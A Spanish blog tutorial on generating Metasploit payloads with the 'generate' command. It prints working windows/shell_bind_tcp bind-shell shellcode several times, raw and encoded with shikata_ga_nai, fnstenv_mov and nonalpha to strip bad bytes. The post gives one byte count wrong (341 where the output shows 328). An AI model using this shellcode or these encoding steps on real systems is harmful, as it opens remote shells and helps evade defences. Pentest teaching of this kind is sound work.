Enviado por fredyavila2 el Sáb, 21/04/2018 - 21:41
Metasploit

En una publicación pasada explicamos de manera detallada que eran y los tipos de payloads en metasploit. Ahora viene el siguiente paso, la generación de payloads personalizados de acuerdo a nuestras necesidades. Durante el desarrollo de exploits, seguramente necesitará generar shellcode's para usar en su exploit. En Metasploit, los payloads se pueden generar desde msfconsole. Cuando 'usas' cierto payload, Metasploit agrega los comandos 'generate', 'pry' y 'reload'. El enfoque principal de esta sección será sobre cómo generar payloads para aprender a usar Metasploit.
 

Para ver todo lo que podemos hacer con la opción generate, le pasaremos el argumento -h.

msf payload(windows/shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -f <opt>  The output file name (otherwise stdout)
    -h        Help banner.
    -i <opt>  the number of encoding iterations.
    -k        Keep the template executable functional
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The Platform for output.
    -s <opt>  NOP sled length.
    -t <opt>  The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
    -x <opt>  The executable template to use

 Para generar un shellcode sin niguna opción, simplemente ejecute generate.

msf payload(windows/shell_bind_tcp) > generate
# windows/shell_bind_tcp - 328 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
"\x6f\x6a\x00\x53\xff\xd5"
msf payload(windows/shell_bind_tcp) > 

Por supuesto, las probabilidades de generar shellcode's cómo este sin ningún tipo de 'personalización' son bastante bajas. En la mayoría de los casos, se usarán caracteres incorrectos y tipos específicos de codificadores dependiendo de la máquina objetivo. El código de ejemplo anterior contiene un carácter malo, casi universal, el byte nulo (\x00). Algunos exploits nos permiten usarlo pero no muchos. Generemos el mismo shellcode otra vez, solo que ahora le indicaremos a Metasploit que elimine este byte no deseado. Para lograr esto, emitimos el comando 'generate' seguido del argumento '-b' con los bytes correspondientes que deseamos que no se permitan durante el proceso de generación.

msf payload(windows/shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\xba\x0f\x25\x66\xed\xdb\xc4\xd9\x74\x24\xf4\x58\x33\xc9" +
"\xb1\x53\x31\x50\x12\x03\x50\x12\x83\xe7\xd9\x84\x18\x0b" +
"\xc9\xcb\xe3\xf3\x0a\xac\x6a\x16\x3b\xec\x09\x53\x6c\xdc" +
"\x5a\x31\x81\x97\x0f\xa1\x12\xd5\x87\xc6\x93\x50\xfe\xe9" +
"\x24\xc8\xc2\x68\xa7\x13\x17\x4a\x96\xdb\x6a\x8b\xdf\x06" +
"\x86\xd9\x88\x4d\x35\xcd\xbd\x18\x86\x66\x8d\x8d\x8e\x9b" +
"\x46\xaf\xbf\x0a\xdc\xf6\x1f\xad\x31\x83\x29\xb5\x56\xae" +
"\xe0\x4e\xac\x44\xf3\x86\xfc\xa5\x58\xe7\x30\x54\xa0\x20" +
"\xf6\x87\xd7\x58\x04\x35\xe0\x9f\x76\xe1\x65\x3b\xd0\x62" +
"\xdd\xe7\xe0\xa7\xb8\x6c\xee\x0c\xce\x2a\xf3\x93\x03\x41" +
"\x0f\x1f\xa2\x85\x99\x5b\x81\x01\xc1\x38\xa8\x10\xaf\xef" +
"\xd5\x42\x10\x4f\x70\x09\xbd\x84\x09\x50\xaa\x69\x20\x6a" +
"\x2a\xe6\x33\x19\x18\xa9\xef\xb5\x10\x22\x36\x42\x56\x19" +
"\x8e\xdc\xa9\xa2\xef\xf5\x6d\xf6\xbf\x6d\x47\x77\x54\x6d" +
"\x68\xa2\xc1\x65\xcf\x1d\xf4\x88\xaf\xcd\xb8\x22\x58\x04" +
"\x37\x1d\x78\x27\x9d\x36\x11\xda\x1e\x29\xbe\x53\xf8\x23" +
"\x2e\x32\x52\xdb\x8c\x61\x6b\x7c\xee\x43\xc3\xea\xa7\x85" +
"\xd4\x15\x38\x80\x72\x81\xb3\xc7\x46\xb0\xc3\xcd\xee\xa5" +
"\x54\x9b\x7e\x84\xc5\x9c\xaa\x7e\x65\x0e\x31\x7e\xe0\x33" +
"\xee\x29\xa5\x82\xe7\xbf\x5b\xbc\x51\xdd\xa1\x58\x99\x65" +
"\x7e\x99\x24\x64\xf3\xa5\x02\x76\xcd\x26\x0f\x22\x81\x70" +
"\xd9\x9c\x67\x2b\xab\x76\x3e\x80\x65\x1e\xc7\xea\xb5\x58" +
"\xc8\x26\x40\x84\x79\x9f\x15\xbb\xb6\x77\x92\xc4\xaa\xe7" +
"\x5d\x1f\x6f\x17\x14\x3d\xc6\xb0\xf1\xd4\x5a\xdd\x01\x03" +
"\x98\xd8\x81\xa1\x61\x1f\x99\xc0\x64\x5b\x1d\x39\x15\xf4" +
"\xc8\x3d\x8a\xf5\xd8"
msf payload(windows/shell_bind_tcp) > 

Al mirar este Shellcode es fácil de ver, en comparación con el shell de enlace generado anteriormente, los bytes nulos se han eliminado con éxito. Por lo tanto, nos da un payload libre de bytes nulos. También vemos otras diferencias significativas también, debido al cambio que aplicamos durante la generación. Una diferencia es el tamaño total de bytes del shellcode. En nuestra iteración anterior, el tamaño era 341 bytes, este nuevo shellcode es 27 bytes más grande. Durante la generación, los bytes nulos o cualquier otra cosa inútil en el código, debe ser reemplazada (o codificada) para asegurar, que una vez en la memoria, que nuestro cshellcode permanecerá funcional. Otro cambio significativo es el uso adicional de un codificador. Por defecto, Metasploit seleccionará el mejor codificador para llevar a cabo la tarea en cuestión. El codificador es responsable de eliminar los caracteres no deseados (entre otras cosas) ingresados cuando se usa el interruptor '-b'. Discutiremos los codificadores en mayor detalle más adelante. Cuando se especifican carácteres incorrectos, el framework utilizará el mejor codificador para el trabajo.

El codificador 'x86/shikata_ga_nai' se usó solo cuando el byte nulo estaba restringido durante la generación del código. Si agregamos algunos caracteres incorrectos, se puede usar un codificador diferente para realizar la misma tarea. Vamos a agregar varios bytes más a la lista y ver qué pasa.

msf payload(windows/shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 350 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd9" +
"\x7e\xb7\x92\x83\xeb\xfc\xe2\xf4\x25\x96\x35\x92\xd9\x7e" +
"\xd7\x1b\x3c\x4f\x77\xf6\x52\x2e\x87\x19\x8b\x72\x3c\xc0" +
"\xcd\xf5\xc5\xba\xd6\xc9\xfd\xb4\xe8\x81\x1b\xae\xb8\x02" +
"\xb5\xbe\xf9\xbf\x78\x9f\xd8\xb9\x55\x60\x8b\x29\x3c\xc0" +
"\xc9\xf5\xfd\xae\x52\x32\xa6\xea\x3a\x36\xb6\x43\x88\xf5" +
"\xee\xb2\xd8\xad\x3c\xdb\xc1\x9d\x8d\xdb\x52\x4a\x3c\x93" +
"\x0f\x4f\x48\x3e\x18\xb1\xba\x93\x1e\x46\x57\xe7\x2f\x7d" +
"\xca\x6a\xe2\x03\x93\xe7\x3d\x26\x3c\xca\xfd\x7f\x64\xf4" +
"\x52\x72\xfc\x19\x81\x62\xb6\x41\x52\x7a\x3c\x93\x09\xf7" +
"\xf3\xb6\xfd\x25\xec\xf3\x80\x24\xe6\x6d\x39\x21\xe8\xc8" +
"\x52\x6c\x5c\x1f\x84\x16\x84\xa0\xd9\x7e\xdf\xe5\xaa\x4c" +
"\xe8\xc6\xb1\x32\xc0\xb4\xde\x81\x62\x2a\x49\x7f\xb7\x92" +
"\xf0\xba\xe3\xc2\xb1\x57\x37\xf9\xd9\x81\x62\xf8\xd1\x27" +
"\xe7\x70\x24\x3e\xe7\xd2\x89\x16\x5d\x9d\x06\x9e\x48\x47" +
"\x4e\x16\xb5\x92\xc8\x22\x3e\x74\xb3\x6e\xe1\xc5\xb1\xbc" +
"\x6c\xa5\xbe\x81\x62\xc5\xb1\xc9\x5e\xaa\x26\x81\x62\xc5" +
"\xb1\x0a\x5b\xa9\x38\x81\x62\xc5\x4e\x16\xc2\xfc\x94\x1f" +
"\x48\x47\xb1\x1d\xda\xf6\xd9\xf7\x54\xc5\x8e\x29\x86\x64" +
"\xb3\x6c\xee\xc4\x3b\x83\xd1\x55\x9d\x5a\x8b\x93\xd8\xf3" +
"\xf3\xb6\xc9\xb8\xb7\xd6\x8d\x2e\xe1\xc4\x8f\x38\xe1\xdc" +
"\x8f\x28\xe4\xc4\xb1\x07\x7b\xad\x5f\x81\x62\x1b\x39\x30" +
"\xe1\xd4\x26\x4e\xdf\x9a\x5e\x63\xd7\x6d\x0c\xc5\x47\x27" +
"\x7b\x28\xdf\x34\x4c\xc3\x2a\x6d\x0c\x42\xb1\xee\xd3\xfe" +
"\x4c\x72\xac\x7b\x0c\xd5\xca\x0c\xd8\xf8\xd9\x2d\x48\x47"
msf payload(windows/shell_bind_tcp) > 

 Vemos que se utilizó un codificador diferente "x86/fnstenv_mov" para eliminar con éxito nuestros bytes no deseados. Shikata_ga_nai probablemente no pudo codificar nuestro payload utilizando nuestra lista de bytes restringidos. Fnstenv_mov por otro lado fue capaz de lograr esto.

Generación fallida de Payloads.

Tener la capacidad de generar Shellcode sin el uso de ciertos caracteres es una de las grandes características que ofrece este framework. Eso no quiere decir que sea ilimitado. Si se proporcionan demasiados bytes restringidos, es posible que no haya ningún codificador habilitado para la tarea. En ese momento, Metasploit mostrará el siguiente mensaje.

msf payload(windows/shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.
msf payload(windows/shell_bind_tcp) > 

Es como quitar letras del alfabeto y pedirle a alguien que escriba una oración completa. A veces simplemente no se puede hacer.

Usando Encoders durante la generación de Payloads.

Como se mencionó anteriormente, el framework elegirá el mejor codificador posible al generar nuestro Payload. Sin embargo, hay momentos en los que uno necesita usar un tipo específico, independientemente de lo que piense Metasploit. Imagine un exploit que solo se ejecutará con éxito siempre que solo contenga caracteres no alfanuméricos. El codificador 'shikata_ga_nai' no sería apropiado en este caso, ya que usa prácticamente todos los caracteres disponibles para codificar. Mirando la lista de codificadores, vemos que el codificador 'x86/nonalpha' está presente.

Vamos a rehacer nuestro payload, pero esta vez le diremos a metasploit que utilice el codificador "nonalpha". Para hacer esto, pasamos el argumento -e a la opción generate seguida por el codificador.

msf payload(windows/shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 470 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6a\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x6f\xe8\xe2\xff\xff\xff\x17\x2b\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x31\x2f\x03\x33\x2a\x22\x32\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x21\x13\x13\x04" +
"\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x11\x22\x2b\x2b\x2b" +
"\x13\x13\x11\x25\x24\x13\x14\x24\x13\x24\x13\x07\x24\x13" +
"\x06\x0d\x2e\x1a\x13\x18\x0e\x17\x24\x24\x24\x11\x22\x25" +
"\x15\x37\x37\x37\x27\x2b\x25\x25\x25\x35\x25\x2d\x25\x25" +
"\x28\x25\x13\x02\x2d\x25\x35\x13\x25\x13\x06\x34\x09\x0c" +
"\x11\x28\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x7b" +
"\x8b\x7b\x30\x8b\x7b\x0c\x8b\x7b\x14\x8b\x7b\x28\x0f\xb7" +
"\x7b\x26\x31\xff\xac\x3c\x7b\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf2\x7b\x7b\x8b\x7b\x10\x8b\x7b\x3c\x8b\x7b" +
"\x11\x7b\xe3\x7b\x01\xd1\x7b\x8b\x7b\x20\x01\xd3\x8b\x7b" +
"\x18\xe3\x3a\x7b\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf" +
"\x0d\x01\xc7\x38\xe0\x7b\xf6\x03\x7d\xf8\x3b\x7d\x24\x7b" +
"\xe4\x7b\x8b\x7b\x24\x01\xd3\x7b\x8b\x0c\x7b\x8b\x7b\x1c" +
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x7b\x24\x24\x5b\x5b\x7b" +
"\x7b\x7b\x7b\xff\xe0\x5f\x5f\x7b\x8b\x12\xeb\x8d\x5d\x7b" +
"\x33\x32\x00\x00\x7b\x7b\x7b\x32\x5f\x7b\x7b\x7b\x7b\x26" +
"\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x7b\x7b\x7b\x29" +
"\x80\x7b\x00\xff\xd5\x7b\x08\x7b\x7b\xe2\xfd\x40\x7b\x40" +
"\x7b\x7b\xea\x0f\xdf\xe0\xff\xd5\x97\x7b\x02\x00\x11\x5c" +
"\x89\xe6\x7b\x10\x7b\x7b\x7b\xc2\xdb\x37\x7b\xff\xd5\x7b" +
"\x7b\xb7\xe9\x38\xff\xff\xd5\x7b\x7b\x7b\xec\x3b\xe1\xff" +
"\xd5\x7b\x97\x7b\x7b\x7b\x7b\x7b\xff\xd5\x7b\x7b\x7b\x7b" +
"\x00\x89\xe3\x7b\x7b\x7b\x31\xf6\x7b\x12\x7b\x7b\xe2\xfd" +
"\x7b\xc7\x7b\x24\x3c\x01\x01\x8d\x7b\x24\x10\xc6\x00\x7b" +
"\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b" +
"\xcc\x3f\x86\xff\xd5\x89\xe0\x7b\x7b\x7b\xff\x30\x7b\x08" +
"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x7b\x7b\xa6\x95\xbd" +
"\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x7b\x05\xbb\x7b" +
"\x13\x7b\x7b\x7b\x00\x7b\xff\xd5"
msf payload(windows/shell_bind_tcp) > 

Hasta aquí dejamos la generación de payloads en metasploit, en la siguiente publicación trataremos otros aspectos cómo la generación de payloads usando múltiples opciones, la generación de payloads usando NOP Sled's.

Autor: Edu4rdSHL

Síguenos en FacebookTwitterunete a nuestra charla en Riotúnete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación.

Acerca del autor

Fredy Yesid Avila - Ingeniero de Sistemas, CEH - ECSA.

@fredyavila